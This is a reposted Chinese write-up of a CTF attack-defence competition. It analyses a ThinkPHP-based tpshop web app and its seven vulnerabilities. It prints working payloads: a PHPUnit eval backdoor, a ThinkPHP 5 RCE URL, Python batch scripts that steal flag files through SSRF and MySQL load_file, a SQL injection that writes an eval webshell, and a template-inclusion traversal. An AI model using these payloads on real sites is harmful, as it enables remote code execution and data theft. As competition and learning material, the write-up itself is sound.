祥云杯决赛AWD Web 分析

  • A+
所属分类:逆向工程

更多全球网络安全资讯尽在邑安全

第一个洞

首先用自己的AWD框架把源码下到本地,扔到D盾
祥云杯决赛AWD Web 分析
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

<?php

eval('?>' . file_get_contents('php://input'));

我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
祥云杯决赛AWD Web 分析

第二个洞

此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
祥云杯决赛AWD Web 分析
用网上公开的exp

/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

并不能直接打成功,
祥云杯决赛AWD Web 分析
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
祥云杯决赛AWD Web 分析
祥云杯决赛AWD Web 分析

第三四五个洞

由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php

<?php
namespace apphomecontroller;
use thinkController;
use thinkUrl;
use thinkConfig;
use thinkPage;
use thinkVerify;
use thinkDb;
use thinkCache;
class Test extends Controller {

public function index(){
$mid = 'hello'.date('H:i:s');
//echo "测试分布式数据库$mid";
//echo "<br/>";
//echo $_GET['aaa'];
M('config')->master()->where("id",1)->value('value');
//echo M('config')->where("id",1)->value('value');
//echo M('config')->where("id",1)->value('name');
/*
//DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']);
$member = DB::name('member')->master()->where('mid',$mid)->select();
echo "<br/>";
print_r($member);
$member = DB::name('member')->where('mid',$mid)->select();
echo "<br/>";
print_r($member);
*/
// echo "<br/>";
// echo DB::name('member')->master()->where('mid','111')->value('name');
// echo "<br/>";
// echo DB::name('member')->where('mid','111')->value('name');
echo C('cache.type');
}

public function redis(){
Cache::clear();
$cache = ['type'=>'redis','host'=>'192.168.0.201'];
Cache::set('cache',$cache);
$cache = Cache::get('cache');
print_r($cache);
S('aaa','ccccccccccccccccccccccc');
echo S('aaa');
}
public function dlfile($file_url, $save_to) {
$ch = curl_init(); // 启动一个CURL会话
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url); // 要访问的地址
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch); // 执行操作
curl_close($ch); // 关键CURL会话
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}

public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) {

$m = mysqli_init();

$conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport));
$result = mysqli_query($m, $dbquery) or die(mysqli_error($conn));
$data = mysqli_fetch_all($result, MYSQLI_ASSOC);
var_dump($data);

mysqli_close($m);

}

public function object_test($input) {
$a = unserialize($input);
}

public function table(){
$t = Db::query("show tables like '%tp_goods_2017%'");
print_r($t);
}
}

这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行

@round("http://172.20.5.1-30:6022")
def attack7(url):
try:

a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js")
a = hh.http(url+"/public/js/jquery-1.10.3.min.js")
flag = a[2].strip()
print "|"+flag+"|"
submit_flag(flag)
except Exception as e:
print e
pass
@round("http://172.20.5.1-30:6022")
def attack11(url):
try:

a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('/flag');")

flag = a[2].strip()
flag = re.search(r"flag{.*?}",flag,re.S).group()
print flag
submit_flag(flag)
print url
except Exception as e:
print e
pass

mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。

反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了

第六个洞

<?php    
public function return_goods_list()
{
$where = " user_id=$this->user_id ";
// 搜索订单 根据商品名称 或者 订单编号
$search_key = trim(I('search_key'));
if($search_key)
{
$where .= " and order_sn=$search_key";
}
$count = M('return_goods')->where($where)->count();
$page = new Page($count,10);
$list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select();
$goods_id_arr = get_arr_column($list, 'goods_id');
if(!empty($goods_id_arr))
$goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name');
$state = C('REFUND_STATUS');
$this->assign('state',$state);
$this->assign('goodsList', $goodsList);
$this->assign('list', $list);
$this->assign('page', $page->show());// 赋值分页输出
return $this->fetch();
}

很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported祥云杯决赛AWD Web 分析

由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用

?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23

第七个洞

fetch函数文件包含

最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
祥云杯决赛AWD Web 分析

浏览runtime/temp/ma.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>

通过exp的url找到对应method

<?php 
public function header_cart_list()
{
$cartLogic = new CartLogic();
$cartLogic->setUserId($this->user_id);
$cart_result = $cartLogic->getUserCartList(0);
if(empty($cart_result['total_price']))
$cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);

$this->assign('cartList', $cart_result['cartList']); // 购物车的商品
$this->assign('cart_total_price', $cart_result['total_price']); // 总计
$template = I('template','header_cart_list');
return $this->fetch($template);
}

u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含

在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,

下面是官方对fetch函数的解释
祥云杯决赛AWD Web 分析
有点啰嗦,直接看源码吧。。

<?php   
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 获取模板文件名
$template = $this->parseTemplate($template);
}

// 模板不存在 抛出异常

if (!is_file($template)) {

// if(strstr($template,'pre_sell_list')){
// header("Content-type: text/html; charset=utf-8");
// exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
// }
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 记录视图信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);

}

通过调试发现,上面代码4-7行,如果输入的参数无后缀,则

<?php
$template = MODULE_PATH.$template.".html"

也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtimetemp1.jpg
祥云杯决赛AWD Web 分析

当然这里绝路目录相对目录穿越目录及任意后缀都是可以的

summary

其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。

原文来自: 先知社区

原文链接: https://xz.aliyun.com/t/8683

欢迎收藏并分享朋友圈,让五邑人网络更安全

祥云杯决赛AWD Web 分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



本文始发于微信公众号(邑安全):祥云杯决赛AWD Web 分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: